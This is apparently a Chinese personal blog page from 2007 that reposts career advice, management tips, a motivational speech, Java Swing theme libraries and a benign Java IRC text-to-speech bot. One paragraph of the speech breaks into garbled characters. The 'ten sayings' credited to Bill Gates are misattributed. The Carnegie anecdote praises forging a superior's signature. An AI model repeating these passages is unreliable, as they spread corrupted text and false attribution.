  在GOOGLE网上能搜索太多的关于嵌入式系统的讨论了,我刚发现一个http:www.embyte.com 非常不错,有很多有经验者谈自己的体会投入到其中的论坛中,你会切身感到嵌入式学习的热潮。

  要么走ARMWinCE,要么走ARMLINUX,要么走ARMVXWORKS。每个搞嵌入式的人都可选一条路,条条大路通罗马。

三、关于游戏软件方向

  将游戏软件人才称为数字媒体软件人才可能更好听些,包括游戏软件策划(最缺游戏策划的人)、游戏软件美术设计、游戏软件程序设计等多方面的人才,对软件学院,游戏软件程序设计当然是最合适的了。

  游戏软件人才的确目前很缺,听说很多游戏软件公司苦于没新人才补充,特别是没有高手补充,不得不相互挖人才,以至将游戏软件人才身价越抬越高。网上说日本教育部刚刚批准成立了日本第一家专门培养四年制游戏软件人才的本科大学。其实国内很多大学,特别是软件学院都有搞游戏软件人才的设想,但目前很少有做成的,主要原因是找不到能上游戏软件课的教师,听说有个学校只能花很大的价钱从Korea找老师来上课,果真缺到此等地步

  已有很多青少年沉湎于网游而颓废的实例,好在还不至于上升到制造精神鸦片的高度,所以开发游戏软件的人也不必每日惭悔(但开发儿童益智类游戏软件的人是不需惭悔的),如果想想这是为发展民族软件产业做贡献,那反倒是一件有意义的事情了。不过听一家游戏软件公司的老板讲,搞游戏软件开发是非常辛苦的。

  若想自己创业,搞搞游戏软件是不错的主意。现在网上网站或公司都在收购游戏软件(特别是手机游戏软件,因为手机游戏用户可选从网站上download到手机上,不像网游那么复杂),按download次数分成或一次性收购的都有。我们的同学在校期间是否也可发点小财搞得好,说不定可卖到国外网站,直接挣$$$呢。

  大致游戏分成以下几类:

  (1) PC类游戏,包括单机和网游。这类游戏开发平台基本上都是基于VC和DitrectX(如DirectShow,DirectDraw,D3D等,DirectX资料可直接到MS网站上查)。DirectX和OpenGL是两个主要的图形标准,OpenGL跨平台(Unix/Windows上都可跑),尽管很多搞研究的人对OpenGL赞不绝口,将DirectX骂得一文不值,但事实是,在Windows平台上,DirectX是最快最方便的,所以在Windows平台上的游戏还是DirectX当家。

  (2) 手机游戏:目前手机游戏主要开发平台有两类:

  第一类手机游戏是 J2ME 平台(Java 2 Micro Edition),J2ME本是为嵌入式平台设计的Java,但由于Java生来就需要Java虚拟机(JVM)来解释,所以在嵌入式产品很少用J2ME(太慢太耗内存)。但在手机游戏中J2ME倒有用武之地,我想这可能主要是Java可跨OS平台的原因,因为手机的OS是千奇百怪的。我对J2ME完全外行,但上次听Square Enix 公司的人说,J2ME与我们同学学过的J2EE还是有较大差别的。据我所知,目前手机中用的较多的是KJava语言,KJava是运行在一种叫K Java Virtual Machine的解释器上(K JVM是SUN早期为演示J2ME在嵌入式系统应用而开发的一个虚拟机),所以将在K JVM上运行的J2ME叫KJava。尽管SUN说今后不保证支持K JVM,将开发新的更高性能的J2ME虚拟机取而代之,但由于KJava出现较早,很多早期的手机游戏软件都将K JVM假想成J2ME虚拟机的标准了,所以目前有大量的KJava手机游戏软件存在,而且还在用KJava继续开发。特别是日本的手机游戏软件由于开发较早(像叫什么docomi的日本最大的电信运营商手机游戏搞得很火),多是基于KJava的。所以目前市场上在招聘手机游戏软件人才时,很多要求掌握KJava。有关J2ME请到Sun的网站上找资料。

  另一类手机游戏是 BREW 平台,BREW是美国高通公司(Qualcomm,CDMA核心技术都是该公司开发的,有无数移动通信技术专利)发明的,据说可编译成二进制代码,那当然快了。主要的开发语言是C/C。但迫于被指责为较封闭的压力,目前Qualcomm已推出BREW平台上的J2ME虚拟机(但可想像那将是怎样慢的速度)。Qualcomm搞定了很多手机制造商签定BREW授权许可协议,最狠的是Qualcomm与中国联通绑在一起大堆基于BREW的手机游戏,所以有些公司招聘时要求掌握BREW也就不奇怪了。

  去年00级22班毕业答辩时,有一位同学讲的是在公司做的KJava游戏(那是一家日本游戏软件公司),还一位同学讲的是另一家公司做的BREW游戏,看来不同的公司有不同的选择。将来谁会更火,我估计随着手机硬件资源的不断提高,不会在乎一个JVM的开销,J2ME应更有前途,毕竟它是更开放的。

  (3) 专用游戏机:如电视游戏,XBOX,PS2等。

  从著名游戏公司发来的对网游和手机游戏的人才需求,很有代表性。从中我们可看出,游戏公司对人才的需求主要是以下技术:

  (1) 计算机图形学,特别是3D编程与算法,包括DirectX 或 OpenGL。开发平台是 VC/DIRECTX 或 KJAVA。

  (2) 公司说,手机游戏因手机资源有限,必须对图像进行压缩,所以若有一些图像压缩算法知识比较好。像若能有MPEG压缩算法较好,手机上采用的是比MPEG压缩得更狠的一些特殊算法,但触类旁通。

  (3) TCP/IP Socket编程是搞网游开发的人必须掌握的。

  (4) 人工智能知识:复杂游戏可能需要一些AI算法。

  (5) 网络与信息安全知识: 网游要防外挂。

  一般游戏公司的网游服务器是基于 Linux 平台的,所以还提出了对游戏服务器端软件工程师的技术需求(精通MSSQL、ORACLE、MYSQL等数据库,精通Linux Programming,特别是Socket编程)。还有对维护游戏、网站人才需求(ASP.NET和数据库)。注意一条,最好有自己的游戏软件作品,若您应聘时能带一个 DirectX 作品,那将有多强的竞争力,所以最重要的是现在就要行动,实践,实践,再实践。



半键时刻露一手

  安德烈·卡耐基是美国宾夕法尼亚州一座停车场的电信技工。一天早上,调车场的线路因为偶发的事故,陷于混乱。 

  此时,他的上司还没上班,该怎么办?他并没有“当列车的通行受到阻碍时,应立即处理引起的混乱”这种权力。如果他胆大包天地发出命令,轻则可能卷铺盖走路,重则可能锒裆入狱。 

  一般人可能说:“这并不干我的事,何必自惹麻烦?”可是卡耐基并不是平平之才,他并未畏缩旁观! 

  他私自下了一道命令,在文件上签了上司的名字。 

  当上司来到办公室时,线路已经整理得同从来没有发生过事故一般。这个见机行事的青年,因为露了漂亮的这一手,大受上司的称赞。 

  公司总裁听了报告,立即调他到总公司,升他数级,并委以重任。从此以后,他就扶摇直上,谁也挡不住了。 

  卡耐基事后回忆说: 

  “初进公司的青年职员,能够跟决策阶层的大人物有私人的接触,成功的战争就算是打胜了一半——当你做出份外的事,而且战果辉煌,不被破格提拔,那才是怪事!” 

  有这样的情形,主持会议的领导是一个铁腕人物,大家因崇拜而磨灭了自己的见识,于是会议顺利进行。 

  “智者千虑,必有一失,愚者千虑,必有一得”,当你发现决议有问题,若按此办将来可能出大漏子,就应该鼓足勇气提出来。要知道,你可能穷尽毕生努力,也不会得到别人的赏识,而抓住这一机会,就可能把你的能力和价值展现给同事和领导,特别是意见未采纳,人们更会在后来的失败中忆起你的表现,赞叹你的英明。 

  请务必谨记,看准了就说,千万不要顾忌面子。如果在这时你还想“我说出来大家会难堪的”,那么说明你是一个注定没有什么作为的人。



高效经理的五个常用工具(转)
□浮云 发表于 2006-9-12 13:58:00
要想获得管理的高效率,经理必须熟知并熟练运用以下几个工具:

工具A:招聘面试的STAR原则

  招聘面试是经理工作的一项重要内容,每个成功的经理人都必须具备高超的招聘面试技巧,以招聘到合适的人充实到工作团队中,使合适的人在合适的岗位上,创造岗位员工的高绩效。

  所谓STAR原则,即Situation(背景)、Task(任务)、Action(行动)和Result(结果)四个英文单词的首字母组合。

  在对应聘人员进行面试的时候,你不妨试试STAR原则。

  STAR原则是面试过程中涉及实质性内容的谈话程序,任何有效的面试都必须遵循这个程序。

  在与应聘人员交谈时,首先了解应聘人员以前的工作背景,尽可能多了解他先前供职公司的经营管理状况、所在行业的特点、该行业的市场情况,即所谓的背景调查(Situation),然后着重了解该员工具体的工作任务(Task)都是哪些,每一项工作任务都是怎么做的,都采取了哪些行动(Action),所采取行动的结果如何(Result)。通过这样四个步骤,你基本可以控制整个面试的过程,通过策略性的交谈对应聘人员的工作经历与持有的知识和技能做出判断,招聘到更为合适的人才。

SATR原则是经理招聘面试的一个很好的工具,里面蕴涵着大量的细节性的技巧,经理应该在招聘工作不断摸索,提高运用能力。

工具B:职责清晰的6W1H原则

  职责清晰是管理工作的基本准则,任何的管理都是从管理职位开始的,其基本的要求就是职责清晰,权责明确。

  但是,在实际管理中,职责不清,权责不明的现象还大量存在。作为一个高效的经理,必须对这个问题做出更为深入的思考,有效地加以解决,使员工都明确自己的职责所在,在其位谋其政,学会自我负责,自我管理,使经理从繁忙的事务性工作解脱出来。

  要想使员工的职位说明书更加准确,职责更加清晰,经理就必须再一次复习一下6W1H这个致关重要的原则。

  所谓6W1H,即是:

  1. Who—工作的责任者是谁?

  2. For whom—工作的服务和汇报对象是谁?

  3. Why—为什么要做该项工作?

  4. What—工作是什么?

  5. Where—工作的地点在哪里?

  6. When—工作的时间期限?

  7. How—完成工作所使用的方法和程序?

  只有对上述问题逐一做出了回答,员工才能对工作更加清楚,才更愿意负责,更敢于负责,在工作中不断得到锻炼和提高。进而,你也才能抽出更多的时间对规划与发展的问题做出更多的思考,占据工作的主动,使未来的工作更有前瞻性。

工具C:目标管理的SMART原则

  目标管理是使经理的工作变被动为主动的一个很好的手段,实施目标管理不但是有利于员工更加明确高效地工作,更是为未来的绩效考核制定了目标和考核标准,使考核更加科学化、规范化,更能保证考核的公开、公平与公正。毕竟,没有目标你是无法考核员工的。

  制定目标看似一件简单的事情,每个人都有过制定目标的经历,但是如果上升到技术的层面,经理必须学习并掌握SMART原则。

  所谓SMART原则,即是:

  1. 目标必须是具体的(Specific);

  2. 目标必须是可以衡量的(Measurable);

  3. 目标必须是可以达到的(Attainable);

  4. 目标必须和其他目标具有相关性(Relevant);

  5. 目标必须具有明确的截止期限(Time-based);

  无论是制定团队的工作目标还是员工的绩效目标都必须符合上述原则,五个原则缺一不可。

  制定的过程也是你能力不断增长的过程,经理必须和员工一起在不断制定高绩效目标的过程中共同提高绩效能力。

工具D:有效管理的PDCA原则

  这是产品质量控制的一个原则,但是它不仅仅能控制产品质量管理的过程,它同样可以有效控制工作质量和管理质量。

  所谓PDCA即是计划(Plan)、实施(Do)、检查(Check)、调整(Adjustment)的首字母组合。

  无论哪一项工作都离不开PDCA的循环,每一项工作都需要经过计划、执行计划、检查计划、对计划进行调整并不断改善这样四个阶段。

  对经理来说,这是一个有效控制管理过程和工作质量的工具。采用PDCA可以使你的管理向良性循环的方向发展,通过实施并熟练运用,经理一定能在工作中不断提高效率,更加有效地驾御工作,获得更大的成功。

工具E:经理职业化的MKASH原则

  现代化的管理要求经理必须职业化,人们不会仅仅因为一纸委任书而信任你,而是更愿意因你的职业化水平而维护你的权威,接受你的领导。惟有使自己的表现不断职业化你才能不断提高管理效率,创建优秀的管理团队,创造管理高绩效的团队文化。

  现代化的经理必须是职业化、高效能的经理。

  所谓MKASH原则,即是:

  1.动机(Motivation):动机就像一部汽车车轮的轴心,处于核心的地位,动机的大小和强弱决定了车轮的运转速度和运行状况。积极心态影响下的动机会加速车轮的运转,从而加速经理的成功;反之,消极心态影响下的动机则不但对经理的成长不利,反而可能起到很大的破坏作用。

  所以你必须正确认识积极动机对成功的激励性作用,不断调整自己的心态,以积极的动机面对工作和挑战,不断激励与超越自我,在积极动机的引领下去实现所制定的目标和远景

  2.知识(Knowledge):知识经济时代的经理首先必须具备从事那份工作的专业知识,而且应该比下属员工更为专业,职业化必须以专业化为基础和背景。

  做任何一项工作,首先要具备的就是应对那份工作的专业知识,要做的好还得具备与其相关的其他知识,以形成完整的知识体系,支持工作的开展和拓展。

  惟有不断获取专业化的知识,经理才能做到职业化,才能在激烈的竞争中得到不断得到认可,获得更多的发展机会更大发展空间。

  3.技能(Skill):技能是经理赖以开展工作必要手段。

  只有知识,没有技能,也是寸步难行。试想,一个经理如果不具备沟通的技能,怎么与人沟通,怎么开展工作,没有人际交往技能,怎么与同事合作,怎么和下属建立和谐的人际关系?

  技能的锻炼应该提高到与知识同等的高度,高度重视,不断将知识转化为技能,转化为能力。

  4.行动(Action):具备了良好的动机,专业化的知识,熟练的技能水平是不是就可以了呢?显然还不够。

  高效能的经理还必须具备快速行动的能力,具备强劲的执行力。有的人方方面面都比较优秀,知识水平很高,能力很强,可就是做不出出色的工作业绩,原因就出在行动能力的欠缺上。

  汤姆彼得斯说,“快速制定计划并采取行动应该成为一种修养”。要想成为一个职业化的人才,就必须改掉犹豫不觉,瞻前顾后,拖拖拉拉的办事作风,在自己认准的事情上认认真真地采取行动,用行动来证明一切,不断提高自己的执行力。

  5.习惯(Habit):习惯决定命运,这句话一点都不夸张。良好的习惯给人好的印象和感觉,能在很大程度上帮助你成功。

  职业化的人才必须具备良好的习惯,无论是生活还是工作,都要时刻注意自己的习惯,改掉曾经的不好的习惯,养成职业化的行为习惯,使你的一举一动都体现出你职业的风采。

  关于成功者应具备的习惯,柯维先生在《高效能人士的七个习惯》有非常精彩、非常深入的论述,经理不妨拿来一读,相信收获一定不匪。

  以上简单描述了一些常用的工作准则,不够深入,还需要我们继续在工作当中不断地加以强化,更加熟练地加以运用,使之成为帮助我们获取高绩效的有效工具。



办公室赢取人心7大高招
惜缘 发表于 2006-9-10 19:51:00
如何赢取人心人际关系对事业的发展有极大帮助,公司的制度多完善,亦需要各同事配合。

    和睦的工作环境,同事间亲和融洽,上下一心,直接促成业务的成功。能否成功,关键亦在于能否跟同事打成一片,和睦共处,尽得人心。知道自己属于哪类人,就必须积极努力改善不足之处,与同事打好关系。

    1.合作和分享:

    多跟别人分享看法,多听取和接受别人意见,这样你才能获得众人接纳和支持,方能顺利推展工作大计。

    2.微笑:

    无论他是茶水阿姨、暑期练习生或总经理,无时无刻向人展示灿烂友善的笑容,必能赢取公司上下的好感。年轻的同事视你为大师姐,年长的把你当女儿看待,如此亲和的人事关系必有利事业的发展。

    3.善解人意:

    同事感冒你体贴地递上药丸,路过饼店顺道给同事买下午茶,这些都是举手之劳,何乐而不为?你对人好人对你好,在公司才不会陷于孤立无援之境。

  4.不搞小圈子:

    跟每一位同事保持友好的关系,尽量不要被人卷标为你是属于哪个圈子的人,这无意中缩窄了你的人际网络,对你没好处。尽可能跟不同的人打交道,避免牵涉入办公室政治或斗争,不搬事弄非,自能获取别人的信任和好感。

  5.有原则而不固执:

    应以真诚待人,虚伪的面具迟早会被人识破的。处事手腕灵活,有原则,但却懂得在适当的时候采纳他人的意见。切勿万事躬迎,毫无主见,这样只会给人留下懦弱、办事能力不足的坏印象。

    6.勿阿谀奉承:

    只懂奉迎上司的势利眼一定犯众憎。完全没把同事放在眼里,苛待同事下属,你无疑是在到处给自己树敌。

    7.勿太严厉:

    也许你态度严厉的目的只为把工作做好,然而看在别人眼里,却是刻薄的表现。你平日连招呼也不跟同事打一个,跟同事间的惟一接触就是开会或交待工作,试问这样的你又怎会得人心?
posted @ 2007-04-02 21:46 MEYE 阅读(856) | 评论 (0)编辑 收藏
优秀是一种习惯

第一句 优秀是一种习惯

  这句话是古希腊哲学家亚里士多德说的。如果说优秀是一种习惯,那么懒惰也是一种习惯。人出生的时候,除了脾气会因为天性而有所不同,其他的东西基本都是后天形成的,是家庭影响和教育的结果。所以,我们的一言一行都是日积月累养成的习惯。我们有的人形成了很好的习惯,有的人形成了很坏的习惯。到20岁左右的时候,我们已经有了自觉意识,已经开始明白什么样的习惯会使我们终身受益。所以我们从现在起就要把优秀变成一种习惯,使我们的优秀行为习以为常,变成我们的第二天性。让我们习惯性地去创造性思考,习惯性地去认真做事情,习惯性地对别人友好,习惯性地欣赏大自然。我的很多习惯都是在办“新东方”的这十几年中逐渐养成的,包括我对待老师和员工的态度,对很多事情的看法。你养成了优秀的习惯,在人们眼中你就会显得优秀。比如,让我们今天就学会微笑,把悲伤留给自己,把快乐带给别人。不管你是真心的还是职业性的微笑,只要你笑了,就会很美丽很好看,就会给人留下美好的印象。在西方社会,你走到很多地方人们都在微笑,尽管你知道那是职业性的,阋廊荒芨芯跽庑┪⑿Φ娜嗣呛芮浊小H绻颐恰靶露健钡脑惫っ扛鋈硕及遄帕成习啵蠹揖突岣芯跸裰舷⒘艘谎赡芪颐歉俣嗟那膊灰欢ㄔ凇靶露健备闪耍撬歉鱿不妒芷氖芘翱瘛?/FONT>

第二句 生命是一种过程

  事业的结果尽管重要,但是做事情的过程更加重要,因为我们是在每一天的过程中生活,每一天都不幸福,就等于整个生命都不幸福。所以尽管我们注重事业的结果,因为结果好了我们会更加快乐,但过程使我们的生命充实。

  人生命最后的结果一定是死亡,我们不能因此说我们的生命没有意义。欢乐是生命本身的渴望,人类是世界上惟一会笑的动物,但不是惟一懂得欢乐的动物。所有的动物都有欢乐的天性,这从很多小动物欢乐地奔跑和嬉戏中能够看出来。人类的生存常常必须有比维持生存更高的目标,因为人类除了物质生活,还必须要有精神生活的满足,因此人类必须比动物付出更艰辛的劳动。在物质方面,我们希望今年2000元一个月的工资,明年通过自己的努力变成3000元一个月,毕竟2000元和3000元给我们带来的生活质量是不一样的。但除此之外,我们还必须使精神生活大获全胜。

  曾国藩说过:“但问耕耘,莫问收获”。他并不是说我们不要收获。曾国藩的意思很简单,把种子撒进地里,种子自然会成长,长到最后自然会有收获,但是在维护庄稼成长的过程中给它浇水和施肥更为重要。因为只有这样,庄稼才会长得健壮,收获才会更好。另外,你每天日出而作,日落而息的劳动过程是你人生最美好的体验。迎着太阳的你走向美丽的大地,看着夕阳西下,你扛着锄头回家,这种感觉难道不是很美好吗?差不多到了陶渊明的“采菊东篱下,悠然见南山”的境界了。

  所以大家一定要寻求每一天的充实。世界上很少有永恒,大学生谈恋爱,每天都在信誓旦旦地说我会爱你一辈子,这实际上是不真实的,只是在表达一种愿望而已。但我们还是在说,因为至少在那一刻,我们这样的表达是真实感情的流露。追求永恒的爱是人类共同的梦想,因为人在爱中永远充实。但现实生活并不是这样的,统计数据表明,大学生谈恋爱的100对里有90对最后会分手,最后结婚了的还有一半会离婚。你说爱情能永恒吗?所以最真实的说法是:“我今天,此时此刻正在真心地爱着你。”明天也许你会失恋,失恋后我们会体验到失恋的痛苦。那我们就去体会,去体验,这种体验也是丰富你生命的一个过程。

第三句 两点之间最短的距离并不一定是直线

  特别是在人与人的关系以及做事情的过程中,我们很难直截了当就把事情做好。我们有时需要等待,有时需要合作,有时需要技巧。也许飞机能够在两点之间直飞,但即使飞机飞行,如果前面有个大气流,也通常只能绕过那个大气流飞行。我们做事情会碰到很多困难和障碍,有时候我们并不一定要硬挺、硬冲,我们可以选择有困难绕过去,有障碍绕过去,也许这样做事情更加顺利。大家想一想,我们和别人说话还得想想哪句话更好听呢。尤其在中国这个比较复杂的社会中,大家要学会想办法谅解别人,要让人觉得你这个人很成熟,很不错,你才能把事情做成。

第四句 只有知道如何停止的人才知道如何加快速度

  汽车的质量越高,开得就越快。比如像奔驰和宝马这一类车,它们的高质量不仅体现在发动机系统上,还体现在刹车系统上。你开这些车的时候,就敢于高速行驶,因为你知道,只要你踩刹车,车就能稳稳地停下来,不至于翻车或跑到马路外面去。但当我们开夏利车的时候,我们一定不会开得和奔驰车一样快,因为我们知道如果让它跑得太快了,就很难刹车了,说不定就会撞栏杆或者翻了。所以说,没有把握停下来的人是跑不快的人。

  我在滑雪的时候,最大的体会就是停不下来。我刚开始学滑雪时没有请教练,看着别人滑雪,觉得很容易,不就是从山顶滑到山下吗?于是我穿上滑雪板,哧溜一下就滑下去了,结果我从山顶滑到山下,实际上是滚到山下,摔了很多个跟斗。我发现我根本就不知道怎么停止,怎么保持平衡。最后我反复观察别人是怎么停,怎么滑的,然后再一点点地学,反复练习怎么在雪地上、斜坡上停下来。练了一个星期,我终于学会了在任何坡上停止、滑行、再停止。这个时候我就发现自己会滑雪了,就敢从山顶高速地往山坡下冲。因为我知道只要我想停,一转身就能停下来。只要你能停下来,你就不会撞上树、撞上石头、撞上人,你就不会被撞死。因此,只有知道如何停止的人,才知道如何高速前进。

最后一句 放弃是一种智慧,缺点是一种恩惠

  有一次我在一本书上读到这句话,开始不理解,但在生活和工作中,终于开始明白其中的意义。在生活中,我们最愚蠢的行为就是太执著于自己的东西,把自己的东西捏着不放,不愿意放弃。结果呢,你捏着不放,别人就不会把他的东西和你一起分享。没有放弃就没有得到,这是再明白不过的道理。我在这里给大家讲一下分享理论。当你拥有六个苹果的时候,千万不要把它们都吃掉,因为你把六个苹果全都吃掉,你也只吃到了六个苹果,只吃到了一种味道,那就是苹果的味道。如果你把六个苹果中的五个拿出来给别人吃,尽管表面上你丢了五个苹果,但实际上你却得到了其他五个人的友情和好感。以后你还能得到更多,当别人有了别的水果的时候,也一定会和你分享,你会从这个人手里得到一个橘子,那个人手里得到一个梨,最后你可能就得到了六种不同的水果,六种不同的味道,六种不同的颜色,六个人的友谊。人一定要学会用你拥有的东西去换取对你来说更加重要和丰富的东西。在人与人之间学会交换和分享,这个收获百倍于你一个人把六个苹果吃掉的收获。这是因为你放弃了五个苹果而获得的,所以大家想一想,放弃是不是一种智慧?

  那什么叫“缺点是一种恩惠”呢?就像我们刚开始说的那样,如果我们是完美的,我们就没有了发展的空间。一生下来就什么都有了,这人还有什么活头?做人最大的乐趣在于通过奋斗去获得我们想要的东西。所以有缺点意味着我们可以进一步完美,有匮乏意味着我们可以进一步努力。我在美国看过一部电视片,讲的是一位富翁给后代留下了用不尽的遗产,结果他的后代全都变成了吸毒的、自杀的、进监狱的,或者精神病患者。为什么会这样呢?因为这位富翁给自己后代留下的钱太多了,以致他们不需要劳动就可以继承一大笔财产。继承一大笔财富,就几乎什么都能买到。大家都知道钱的作用在于能买到物质世界上你所需要的全部东西,但惟一买不到的就是你心灵的充实、别人的友情以及你真诚的爱情。由于这些都是买不到的,所以你越有钱,心灵就越空虚,你就会极力用钱来填补自己的空虚,最后没有办法了就只能以吸毒来代替,使自己进入一个虚幻的世界。所以我说,当一个人什么都不缺的时候,他的生存空间就被剥夺掉了。如果我们每天早上醒过来,感到自己今天缺点儿什么,感到自己还需要更加完美,感到自己还有追求,那是一件多么值得高兴的事情啊!

posted @ 2007-04-02 20:03 MEYE 阅读(394) | 评论 (0)编辑 收藏
     摘要: 软件,让世界变平 [转贴] http://gocom.primeton.com/modules/techresource/article1075.htm ...  阅读全文
posted @ 2007-04-02 19:33 MEYE 阅读(700) | 评论 (0)编辑 收藏


微软公司的董事长比尔·盖茨,曾送给职场新人10句话

Posted on 星期五 2007年03月30日

  微软公司的董事长比尔·盖茨,曾送给职场新人10句话:

  1.人生是不公平的,习惯去接受它吧。

  2.这个世界不会在乎你的自尊,这个世界期望你先做出成绩,再去强调自己的感受。

  3.你不会一离开学校就有百万年薪,你不会马上就是副总裁,两者你都必须靠努力赚来。

  4.如果你觉得你的老板很凶,等你当了老板就知道了,老板是没有工作任期保障的。

  5.在速食店煎个汉堡并不是作贱自己,你的祖父母对煎汉堡有完全不同的定义。

  6.如果你一事无成,不是你父母的错,所以不要只会对自己犯的错发牢骚,要从错误中去学习。

  7.在你出生前,你的父母并不像现在这般无趣,他们变成这样是因为忙着付你的开销,洗你的衣服,听你吹嘘自己有多了不起,所以在你拯救被父母这代人破坏的热带雨林前,先整理一下自己的房间吧。

  8.在学校里可能有赢家和输家,在人生中却还言之过早,学校可能会不断给你机会找到正确的答案,现实人生中却完全不是这么回事。

  9.人生不是学期制,人生没有寒假,没有哪个雇主有兴趣协助你寻找自我,请用自己的空暇做这件事吧。

  10.电视上演的并不是真实的人生,真实人生中每个人都要离开咖啡厅去上班。





论Java外观模式
转贴   

前言,有好多朋友曾经问我如何做出很美观的用户界面程序,比如做个苹果的界面,做个XP的界面,当时我也很头疼,因为jdk当时只是1.3,Sun并没有像今天那样把java做的如此成功,所以当时似乎解决不了,现在好了,jdk1.4开始支持java自定义外观,那我们就开始研究吧.自定义呢网上有教材,可以自己找,而且看看plf.LookAndFeel的实现类,自己可以研究一下,这里不谈论,主要讨论第三方组件的实现.

1. Mac及Office2003  Windows xp等外观模式  OS:   Windows XP 

                     JDK:  5.0 Update 6   所用到的组件   substance.jar

御览图片:   https://substance.dev.java.net/

下载地址:   http://my.mofile.com/xqsoft

2. 好看的各种外观组件    l2fprod-common-all.jar

御览图片:  https://l2fprod-common.dev.java.net/

下载地址:  http://my.mofile.com/xqsoft

3. OfficeLnFs - Microsoft Office XP & 2003 Look and Feels for Java Swing

   用到的组件    OfficeLnFs.jar

御览图片:   http://officelnfs.sourceforge.net/

下载地址:   http://my.mofile.com/xqsoft

4. 漂亮的跨平台Swing 界面外观模式

用到的组件   Quaqua 3.5_3.jar

御览图片 :  https://pgslookandfeel.dev.java.net/

下载地址:   http://my.mofile.com/xqsoft

以上的应该够了,把他们打包到你的application里我想会给你的软件增色不少,另外如果你下载不到以上的组件,请联系我并留E-mail,我会给你们发过去. 

        另外提供大家一个很全的组件库http://www.open-open.com基本上是想到的就有~~~
http://blog.hexun.com/xqsoft
 
让你的Java会说话-用Java实现IRC文本到语音转换
bublle 转贴   更新:2006-03-01 10:52:39  版本: 1.0   

摘要:
Internet Relay Chat(IRC)是一个被全世界数百万人所使用的网络聊天系统。多年以来,它为朋友、程序员、大学甚至银行之间的讨论、交换意见和协作研究提供了方便。本文将展示如何建立一个跨平台的IRC机器人(一个自动化的客户端),它使用FreeTTS Java语音合成库来将IRC消息转换成听得见的语音。 文章工具
收藏
投票评分
发表评论
复制链接
Internet Relay Chat(IRC)是一个被全世界数百万人所使用的网络聊天系统。多年以来,它为朋友、程序员、大学甚至银行之间的讨论、交换意见和协作研究提供了方便。

版权声明:任何获得Matrix授权的网站,转载时请务必保留以下作者信息和链接
作者:Paul Mutton;jlearner(作者的blog:http://blog.matrix.org.cn/page/jlearner)
原文:http://www.onjava.com/pub/a/onjava/2004/09/08/IRCinJava.html
译文:http://www.matrix.org.cn/resource/article/44/44237_Text+Speech+Java+IRC.html
关键字:Text;Speech;Java;IRC

由于IRC是一个完全实时的聊天系统,所以你将很难从中受益,除非你能密切关注聊天时对话产生的顺序。不幸的是,这将会导致生产力的低下,这就是为什么很多雇主不赞成使用IRC的原因。然而,如果IRC得到了恰当的使用,它能够使雇员与远程的同事们一起高效地工作,不管他们是位于地球的另一端,或者只是在隔壁的大厦。像IRC这样的实时群组聊天系统使组织会议(甚至可以实现视频会议)、提问问题或是商量去哪里吃午餐这样的小事都变得更加容易。

很多老板也许会争辩说,在工作场所提高生产力的最显而易见的方法是完全避免使用IRC。在某些情况下这也许是正确的,但是在很多场合IRC可以是非常有用的。当你使用IRC进行交流时??即使是跟同一办公室中的某个人??在别处的同事将能够看到你们两个谈话的内容。当你不在办公桌旁的时候,你也可以了解同事们在讨论什么。这是电话或常规的点对点聊天系统所不容易实现的两个重要方面。

理想的解决方案是设计一种无需经常查看是否有新消息就可以明了IRC对话的方法。只要你的IRC频道不是很繁忙,那么一个文本语音转换系统将会提供给你优秀的解方案。它会将新消息自动朗读出来,这样你就可以继续工作,只在有绝对必要的时候才转移注意力到IRC上面来。

本文将展示如何建立一个跨平台的IRC机器人(一个自动化的客户端),它使用FreeTTS Java语音合成库来将IRC消息转换成听得见的语音。

FreeTTS库可以在freetts.sourceforge.net下载。为了连接到IRC服务器上,你需要在www.jibble.org/pircbot.php下载PircBot Java IRC API。

当你下载了所需的两个库之后,建立一个lib目录,然后将下列.jar文件拷贝到里面。
?cmu_time_awb.jar 
?cmu_us_kal.jar 
?cmulex.jar 
?cmutimelex.jar 
?en_us.jar 
?freetts.jar 
?pircbot.jar 

现在,写IRC机器人已经变成了一个简单的任务,因为这些库将为你完成多数的困难工作。建立一个名为SpeechBot.java的文件:
import org.jibble.pircbot.*;import com.sun.speech.freetts.*;import com.sun.speech.freetts.audio.*;import javax.sound.sampled.*;import java.io.File;public class SpeechBot extends PircBot {    private Voice voice;        public SpeechBot(String name) {        setName(name);        // Choose the voice for the speech synthesizer.        // 选择语音合成器的话音        String voiceName = "kevin16";        VoiceManager voiceManager = VoiceManager.getInstance();        voice = voiceManager.getVoice(voiceName);        if (voice == null) {            System.out.println("Voice not found.");            System.exit(1);        }        voice.allocate();        // Set up the output format.        // 设置输出格式        AudioPlayer voicePlayer = new JavaClipAudioPlayer();        voicePlayer.setAudioFormat(new AudioFormat(8000, 16, 1, false, true));        voice.setAudioPlayer(voicePlayer);    }            public void onMessage(String channel, String sender, String login, String hostname, String message) {        // Send all IRC messages to the voice synthesizer.        // 发送所有的IRC消息到语音合成器        message = message.trim();        String input = sender + " on " + channel + " says: " + message;        voice.speak(input);    }    public static void main(String[] args) throws Exception {        if (args.length < 2) {            System.out.println("Usage: java SpeechBot <server> <channel>");            System.exit(1);        }        SpeechBot bot = new SpeechBot("SpeechBot");        bot.connect(args[0]);        bot.joinChannel(args[1]);    }}

现在可以编译IRC机器人了。要确定在类路径中包含了必需的.jar文件:

javac -classpath .;./lib/pircbot.jar;./lib/freetts.jar 
SpeechBot.java

注意这种指定类路径的方式只在Windows系统下有效。在Unix/Linux系统上,你需要使用冒号(:)而不是分号(;)来作为分隔符。在运行IRC机器人的时候你也需要指定类路径。

当运行机器人的时候,你需要提供两个命令行参数来告诉它连接哪个IRC服务器以及加入哪个IRC频道:

java -classpath .;./lib/pircbot.jar;./lib/freetts.jar 
SpeechBot irc.freenode.net #irchacks

注意:确定你的目录名不包含任何空格,因为该版本的FreeTTS在从含有空格的路径中读取自身代码时似乎存在问题。

当你启动了机器人之后,它将立刻加入指定的IRC频道(范例中是在freenode IRC网络上的#irchacks)。现在你可以向频道中发送一条消息来测试机器人了。如果一切都设置正确,你就会听见机器人对你说:

"Jibbler on #irchacks says: Hello, world!"

现在你可以在收听IRC的同时继续努力工作了!

Paul Mutton是PircBot IRC框架及另外一些Java程序的作者,这些程序可以在他的网站上找到。

在2004年7月,O'Reilly Media出版了IRC Hacks
posted @ 2007-03-31 21:36 MEYE 阅读(528) | 评论 (0)编辑 收藏
一篇关于JSF的入门文章
转贴 

摘要:JavaServer Faces作为一种新兴的Web表现层框架,正在受到越来越多的关注。本文描述了JSF的几大优势,以及这些优势所带来的Web开发的重大变革,从而试图说明JSF将会在众多竞争者中脱颖而出,成为Web表现层框架的主流。

  1. 引子:我与JSF的第一次亲密接触

